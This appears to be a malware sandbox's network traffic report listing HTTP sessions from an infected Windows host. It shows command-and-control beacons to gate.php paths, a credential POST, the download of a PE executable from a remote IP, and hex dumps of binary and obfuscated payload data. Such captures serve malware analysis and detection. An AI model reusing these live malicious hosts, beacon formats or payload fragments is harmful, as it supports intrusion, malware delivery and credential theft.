Dec 14, 2024 14:57:14.224633932 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: h(((( H
Dec 14, 2024 14:57:14.224668980 CET	896	IN	Data Raw: 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 Data Ascii: QRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~HH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNove
Dec 14, 2024 14:57:14.224703074 CET	1236	IN	Data Raw: 74 6f 72 27 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 00 00 00 60 6d 61 6e 61 67 65 64 20 76 65 63 74 6f 72 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f Data Ascii: tor'`managed vector destructor iterator'`managed vector constructor iterator'`placement delete[] closure'`placement delete closure'`omni callsig' delete[] new[]`local vftable constructor closure'`local vftable'`RTTI
Dec 14, 2024 14:57:14.224736929 CET	1236	IN	Data Raw: 2a 40 00 4c 2a 40 00 40 2a 40 00 34 2a 40 00 2c 2a 40 00 20 2a 40 00 08 2a 40 00 fc 29 40 00 e8 29 40 00 c8 29 40 00 a8 29 40 00 88 29 40 00 68 29 40 00 48 29 40 00 24 29 40 00 08 29 40 00 e4 28 40 00 c4 28 40 00 9c 28 40 00 80 28 40 00 70 28 40 Data Ascii: @L@@@4@,@ @*@)@)@)@)@)@h)@H)@$)@)@(@(@(@(@p(@l(@d(@T(@0(@((@(@(@'@'@'@'@X'@,'@'@&@&@&@p&@T&@@SunMonTueWedThuFriSatJanFebMarAprMayJunJulAugSepOctNovDecCONOUT$1#QNAN
Dec 14, 2024 14:57:14.224772930 CET	1236	IN	Data Raw: f8 33 f1 81 3d ec 0b 46 00 e6 09 00 00 c7 05 e4 0b 46 00 ee 3d ea f4 75 0a 6a 00 6a 00 ff 15 30 10 40 00 31 75 f8 81 3d ec 0b 46 00 13 02 00 00 0f 85 a6 00 00 00 6a 00 8d 85 0c f2 ff ff 50 6a 00 6a 00 6a 00 6a 00 ff d7 6a 00 6a 00 6a 00 6a 00 ff Data Ascii: 3=FF=ujj0@1u=FjPjjjjjjjjQj@jjjR@hh-@jH@jjj@j @jjj@Pjjj@MQjjj@,R@EPd@u+u=FuuMQj
Dec 14, 2024 14:57:14.345110893 CET	1236	IN	Data Raw: 8b 1d 54 10 40 00 c7 45 f0 7b 00 00 00 81 3d ec 0b 46 00 86 00 00 00 75 29 6a 00 ff d6 6a 00 8d 8d c0 ef ff ff 51 6a 00 ff d7 6a 00 6a 00 ff d3 6a 00 ff 15 24 10 40 00 6a 00 6a 00 ff 15 c0 10 40 00 83 3d ec 0b 46 00 0f 75 24 8d 55 e4 52 ff 15 0c Data Ascii: T@E{=Fu)jjQjjjj$@jj@=Fu$UR@jjj@jjjj,@mu!\|FM_^d[]UXI,P<xs[C^idUiP#ETHO

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	50088	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:13.635776997 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:13.771266937 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:15.263345003 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:14 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50105	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:15.529943943 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:15.650358915 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:16.995182037 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50120	185.215.113.43	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:16.796766043 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 31 35 32 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1015206001&unit=246122658369
Dec 14, 2024 14:57:18.506584883 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 14, 2024 14:57:18.511420965 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	50121	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:17.027301073 CET	173	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 21 Cache-Control: no-cache Data Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Dec 14, 2024 14:57:18.506827116 CET	198	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:17 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	50122	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:17.223723888 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:17.343878031 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:18.706545115 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:17 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	50126	31.41.244.11	80	5396	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:18.631040096 CET	66	OUT	GET /files/1737349212/XAzdvQx.exe HTTP/1.1 Host: 31.41.244.11
Dec 14, 2024 14:57:20.049746037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:19 GMT Content-Type: application/octet-stream Content-Length: 147456 Last-Modified: Sat, 14 Dec 2024 13:45:00 GMT Connection: keep-alive ETag: "675d8bdc-24000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 57 88 5d 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 38 02 00 00 06 00 00 00 00 00 00 ee 57 02 00 00 20 00 00 00 60 02 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 02 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a0 57 02 00 4b 00 00 00 00 60 02 00 42 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 02 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELW]g8W `@ @WK`B H.text7 8 `.rsrcB`:@@.reloc>@BWHXDH,%((ssss0~o+0~o+0~o+0~o+0((+0(+0(+0(+0-(++++0(*0 ~-(
Dec 14, 2024 14:57:20.049798965 CET	1236	IN	Data Raw: 02 00 00 2b 80 19 00 00 0a 7e 19 00 00 0a 0a 2b 00 06 2a 1e 02 28 17 00 00 0a 2a 13 30 03 00 46 00 00 00 0c 00 00 11 18 8d 16 00 00 01 0a 06 16 72 01 00 00 70 a2 06 17 72 49 00 00 70 a2 06 73 1d 00 00 0a 80 07 00 00 04 72 8f 00 00 70 28 1e 00 00 Data Ascii: +~+(0FrprIpsrp(rprp*0~s-( (!~o"8(#~rp($~(%(&
Dec 14, 2024 14:57:20.049833059 CET	448	IN	Data Raw: 44 86 73 b1 90 bc db 92 d7 03 12 91 4b cb b3 3d ed 84 80 92 40 cb d1 ef e8 d3 ae b9 95 16 b6 5f 6a 75 5a c6 a8 94 d2 1e 0b 17 df 29 ea 11 61 c4 2b 5b 70 86 3c b5 c2 36 b8 af c8 bf aa 35 b7 27 98 b7 7a 91 59 6c 9a 7f e7 69 c3 6b 3e 1c 53 cd 0f 05 Data Ascii: DsK=@_juZ)a+[p<65'zYlik>SiI C ;\T,OA)\v_nV[2r\oo+[QHw,bx\kqw1q2D? fg&qw1qqw1qzvgKP[h]
Dec 14, 2024 14:57:20.049894094 CET	1236	IN	Data Raw: 71 13 08 87 71 77 e2 31 92 f4 f0 b6 8a a9 f8 1a 71 13 08 87 71 77 e2 31 92 f4 f0 b6 8a a9 f8 1a 71 13 08 87 e5 6e 00 91 2a a7 fd e4 f2 18 15 11 07 a4 47 67 01 51 cc 6f 80 0c f0 91 1a d8 49 70 06 7e 6a 35 d5 ea fb 14 b4 4c 54 65 d8 4c a9 65 0b 95 Data Ascii: qqw1qqw1qnGgQoIp~j5LTeLeC!~xaQP0{#-eVu2fJ/>]U,"&(G !;plx%:H-$a\|Nn8:Ecm&--U4
Dec 14, 2024 14:57:20.049947023 CET	1236	IN	Data Raw: 0a 2f 7a 79 6e 1c a0 6e da d1 c6 31 22 35 fe 01 f9 bc 76 4a c9 31 3e 1e 1e 87 3c c9 17 7e f1 94 a7 04 5a a7 ce 75 6f d4 e4 f0 de ef 81 73 9c c0 3b 16 6b 1f 1c 28 38 79 d7 63 a3 21 c6 e7 11 b0 f1 ce 6c 8f 9e ed 9e 5d 64 4c 15 de 66 77 d4 9a 27 5c Data Ascii: /zynn1"5vJ1><~Zuos;k(8yc!l]dLfw'\7/_f?9j%f]r;2X3U;)ON-TJ0JO__y."M\|=oyA\|ETfWq\|C>>YpO8Cp{}x]O6_K
Dec 14, 2024 14:57:20.049981117 CET	1236	IN	Data Raw: 78 a8 c3 24 cc 41 0e 1c 2a b2 ac 46 9b 41 29 92 5c cf 87 ca ab 26 6b 0c be 15 37 06 6a 22 04 86 1f ca 00 6e e5 84 59 ee 39 74 97 96 d0 21 87 af 62 a4 21 f3 70 c5 55 b2 08 f6 22 b9 1b 6f e2 b0 79 d1 aa 02 07 dc ec 41 00 7c 45 9b d6 8f 54 66 57 88 Data Ascii: x$A*FA)\&k7j"nY9t!b!pU"oyA\|ETfWq\|qA]3$3m;_e_ `Yr-(@K}enGh%_ZyJ+RP0kDU~30St1Uq]Ci5np{)Aw1PxE~\48g+g(x
Dec 14, 2024 14:57:20.050014973 CET	672	IN	Data Raw: 75 a6 93 45 a5 96 e3 30 d6 04 99 6e 0f f3 22 d2 64 52 be e2 21 8f e8 f4 08 d2 03 3d d9 ec 5f 8d 23 83 d4 d9 97 90 a0 d5 fe e5 d6 f8 ab d1 65 b6 f6 ec 7f 9f 61 83 4a eb 93 2d 5c 1a 38 c4 92 7d 90 96 95 30 b4 56 92 b4 0e 3c 92 a3 0f 0d ba 32 d4 65 Data Ascii: uE0n"dR!=_#eaJ-\8}0V<2e7lclykQTHp:lQ!,;wp%N(&cG>H_'}=I1@.O?J=@0SOgwK7a;R)1w\{{Qx75
Dec 14, 2024 14:57:20.050049067 CET	1236	IN	Data Raw: 33 7c 37 c7 b0 62 09 aa 1b f2 f6 d7 37 2f 34 58 30 c9 e9 55 00 7b 54 a7 0d ba a9 cf e6 dc 5e 3d 83 30 04 b2 c0 2c 90 f1 e7 c8 18 8f 97 31 af 64 82 b5 8d cb c9 f9 c1 25 95 4e b7 95 81 e5 69 af 41 51 51 f7 6d 16 f4 2d d8 63 4d 9a 93 bd a8 be 30 73 Data Ascii: 3\|7b7/4X0U{T^=0,1d%NiAQQm-cM0sfVLBQ~w^#uk8'id=QvJh\|eKQG=o/F-D'u<cQ[GQj5&J+X(yOw2U=I$h?Vr\_
Dec 14, 2024 14:57:20.050082922 CET	1236	IN	Data Raw: e3 3d 62 7a 75 bd 9d e0 c0 ed 3d 26 ec a6 0b 2b 76 de 50 87 3d 06 15 71 e1 4e 02 26 ae 22 45 29 d0 51 a1 0a 3a 14 dd 4e aa db 93 7e 94 53 d2 15 f4 6a a8 11 f6 83 06 b9 b5 f8 37 25 22 40 9b 52 3b 7e 75 71 f2 90 9f 7c ba 34 e9 5c a5 12 0c 46 b2 2a Data Ascii: =bzu=&+vP=qN&"E)Q:N~Sj7%"@R;~uq\|4\F> UX(;)?hb}$rOuCO=>( POUl6F,\|puxgVa9$QSO}`tFOIbh'iR9&Z
Dec 14, 2024 14:57:20.050132990 CET	1236	IN	Data Raw: 49 00 5e c5 bb 23 3a 8a 9e 71 32 43 34 39 f6 1f e7 0b 70 6f 05 4f 24 c2 0c 7b c3 26 70 27 85 28 eb 8b 09 1d 36 3a eb d4 1a af 69 e9 04 81 1f a1 fe 27 65 13 ed 92 94 cd 4f ab eb d7 a7 61 e1 0b af fd be 77 dd fc cb 79 bc 17 54 e2 cd c2 1e 30 db d9 Data Ascii: I^#:q2C49poO${&p'(6:i'eOawyT0N"WmwtB.cEtBgw<]6=533:y(b-CNYuC6"oi d:x72pxB3a)(*W]$dbu=q^
Dec 14, 2024 14:57:20.171540022 CET	1236	IN	Data Raw: 66 c5 c1 bd 38 ec 67 d2 9a 08 1e 24 09 8d fc 8e e4 bf 94 a0 ad 2e 67 14 c3 2b e5 0c a9 24 3a 14 b4 a3 de 32 4c 81 50 b5 d5 d4 6e 00 bf 48 7b bc 5f dc 04 20 61 3d df bf e5 c2 4b 01 c9 23 5d 52 0a c8 ba 36 33 71 91 00 04 d6 9b c5 75 63 c9 4c fa 5f Data Ascii: f8g$.g+$:2LPnH{_ a=K#]R63qucL_'`!wajwQ-;KRuxl=wi O["kmUQgHNlQjS<MId$4Y+J4GE2WavHHcW\|QBw(6V]cd$~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50129	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:18.940074921 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:19.080576897 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:20.434245110 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:19 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	50133	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:19.667977095 CET	263	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:57:21.271539927 CET	257	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 40 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 66 39 65 33 62 63 39 33 61 64 33 35 38 38 34 33 31 35 31 32 31 37 37 37 35 35 35 62 36 36 30 65 66 64 66 66 30 30 38 63 Data Ascii: f9e3bc93ad35884315121777555b660efdff008c

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	50134	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:19.690994024 CET	263	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:57:21.271622896 CET	257	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 40 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 66 39 65 33 62 63 39 33 61 64 33 35 38 38 34 33 31 35 31 32 31 37 37 37 35 35 35 62 36 36 30 65 66 64 66 66 30 30 38 63 Data Ascii: f9e3bc93ad35884315121777555b660efdff008c

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	50135	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:19.719578981 CET	263	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:57:21.271651030 CET	257	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 40 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 66 39 65 33 62 63 39 33 61 64 33 35 38 38 34 33 31 35 31 32 31 37 37 37 35 35 35 62 36 36 30 65 66 64 66 66 30 30 38 63 Data Ascii: f9e3bc93ad35884315121777555b660efdff008c

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	50136	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:19.736557961 CET	263	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3
Dec 14, 2024 14:57:21.271728039 CET	257	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:20 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 40 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 66 39 65 33 62 63 39 33 61 64 33 35 38 38 34 33 31 35 31 32 31 37 37 37 35 35 35 62 36 36 30 65 66 64 66 66 30 30 38 63 Data Ascii: f9e3bc93ad35884315121777555b660efdff008c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50138	185.81.68.147	80	1028	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:20.745538950 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:20.865598917 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:22.354490995 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:21 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	50142	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:21.392405033 CET	283	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 10
Dec 14, 2024 14:57:21.518510103 CET	10	OUT	Data Raw: 21 5c 11 7a 0c 09 5c 50 15 17 Data Ascii: !\z\P
Dec 14, 2024 14:57:22.924282074 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:22 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 38 64 61 34 0d 0a 1d 34 6f 3e 68 43 19 13 41 46 46 47 54 67 56 5f 50 56 5a 5e 58 44 43 15 0f 15 6e 42 14 1c 5f 06 15 14 4c 48 1a 12 14 43 44 13 16 4a 0f 00 13 1d 02 0b 5e 1f 1a 14 14 11 1b 56 5d 5b 54 59 43 44 1f 1b 52 0d 59 51 5c 00 48 07 09 0b 1a 12 14 43 44 13 11 56 0e 06 54 56 15 16 4a 1b 55 57 4e 5a 5d 59 50 1c 5e 45 50 1d 17 19 15 40 1c 45 51 03 03 06 14 09 47 43 51 0d 01 17 02 5c 0d 04 55 56 4f 07 5c 58 12 1a 18 13 13 1f 42 57 43 41 5e 54 50 46 1b 0f 59 4c 59 09 0a 05 48 05 5f 5d 12 41 4a 19 47 5a 0c 00 56 5e 08 0a 54 1b 4c 5d 58 56 5c 50 45 40 48 19 5a 58 4f 5c 59 0e 57 18 5f 17 01 46 4a 46 12 1a 5f 0c 09 5e 09 56 14 0a 5d 56 0e 4a 50 5a 55 12 16 1f 11 17 45 40 50 59 44 5b 54 41 50 4c 51 59 5f 02 0a 01 07 16 59 43 16 00 09 54 47 1f 42 41 13 5f 04 0a 50 47 16 57 46 54 1b 17 1d 12 13 1d 5b 58 52 18 40 12 5a 59 51 01 4b 0b 15 48 58 5f 41 0c 10 5c 17 40 07 4d 5a 5c 0c 4e 11 19 18 1a 56 02 1f 5b 54 5e 1f 50 58 58 52 1f 17 4e 16 14 1a 13 48 07 0a 07 42 59 4c 1a 48 54 16 19 40 4f 19 11 4b 00 5d 46 [TRUNCATED] Data Ascii: 8da44o>hCAFFGTgV_PVZ^XDCnB_LHCDJ^V][TYCDRYQ\HCDVTVJUWNZ]YP^EP@EQGCQ\UVO\XBWCA^TPFYLYH_]AJGZV^TL]XV\PE@HZXO\YW_FJF_^V]VJPZUE@PYD[TAPLQY_YCTGBA_PGWFT[XR@ZYQKHX_A\@MZ\NV[T^PXXRNHBYLHT@OK]F[[^OVZXHGLDEZHZ^HAnMi952>;^Y_PVEEknFFcnlEBC>kD>?I<=BEDAV]P\I^TZYZBDPP_GGVG\WEhlDFFCFEM[C^>;@ASR:U^LA\4oBCADc99BM=oFDFFCFEBCCRAYgVVWZCWGCWZEKSDQ9K^OWa]TQ^PAXCDRko<EFDFFCFEBAP]PAYPPT[QZG>UQ;]lCOHGM=FPZV^]TTAB^SR[A\_UQH^EUP]?SJKHU]V]SBDkYTSZol-TwDpTJLQFAS_YTWZDA9AG=FEYL@VC[nlh>F[ldAFW^^eAQgVA^m_PO[R[RAjTV8DFCYB[eGR?GZ^WWFBmmV@AZYDB[:_^:EZ^eAQgVA^mQ]VDDiYD]HB_TCLVZoCDACNU_DP@TVTC\CP_jVHTd]TG
Dec 14, 2024 14:57:22.924375057 CET	224	IN	Data Raw: 12 4c 56 3d 46 0d 09 54 59 56 56 5d 15 57 5d 43 0a 6b 15 50 4d 45 3d 52 57 44 00 3a 46 46 14 46 1d 4c 06 1e 4d 58 6f 40 00 56 5d 07 0d 54 1b 59 48 44 1d 58 51 54 5c 45 5e 51 5e 56 54 41 0b 59 58 1e 0b 13 09 05 0a 59 55 56 17 3a 1b 5b 00 4c 43 05 Data Ascii: LV=FTYVV]W]CkPME=RWD:FFFLMXo@V]TYHDXQT\E^Q^VTAYXYUV:[LC@][TU@Bm]VURYjSSZT9DZ"DUA\CXG]KDR_]VURYXFEFUdA\G>ACGPJVonjkCZCUX:F:D^Y9IlGPd^PM]W_PC_iS
Dec 14, 2024 14:57:22.924406052 CET	1236	IN	Data Raw: 6a 12 45 15 0d 1c 03 0d 6c 1a 52 56 65 47 13 03 16 4d 5c 07 0b 50 40 4b 05 68 11 6d 17 11 53 44 43 58 54 5a 47 47 07 55 42 0d 39 44 0b 00 00 6c 12 18 0a 02 04 39 11 07 1b 49 6c 05 05 47 50 64 1a 14 50 5d 54 42 41 0c 6b 15 51 5a 47 58 4f 55 59 5e Data Ascii: jElRVeGM\P@KhmSDCXTZGGUB9Dl9IlGPdP]TBAkQZGXOUY^F^EUPo@CKELRYM]ATTRFXARiSD[0U]YHV>AQPTR\CmRAAkGBUY:DS_V^KRZ]AQ^]PPAX]_YBXVYSXD9DZRHKWEPJ@\8YYZQ_nSXW]Skvc4C
Dec 14, 2024 14:57:22.924439907 CET	224	IN	Data Raw: 5c 50 0e 52 6a 12 5b 22 05 12 03 10 54 1f 06 1e 49 0c 41 03 17 50 5c 0f 58 1c 46 48 59 5a 0d 0d 1a 5d 53 53 52 5b 09 09 5c 5b 12 43 42 10 11 1f 14 03 5b 6c 12 4c 06 1e 4d 39 11 42 13 58 47 15 01 41 5b 05 64 16 68 01 18 08 6f 1b 6b 15 17 43 54 59 Data Ascii: \PRj["TIAP\XFHYZ]SSR[\[CB[lLM9BXGA[dhokCTYSlG:FFQ]]^:K<]RoUUK]P_UE_k>C[:?DF_\@dhTDF^TXEGPVj:DY\^:K<]Ro[XRBFnQXEXVXBBD]UJeGE
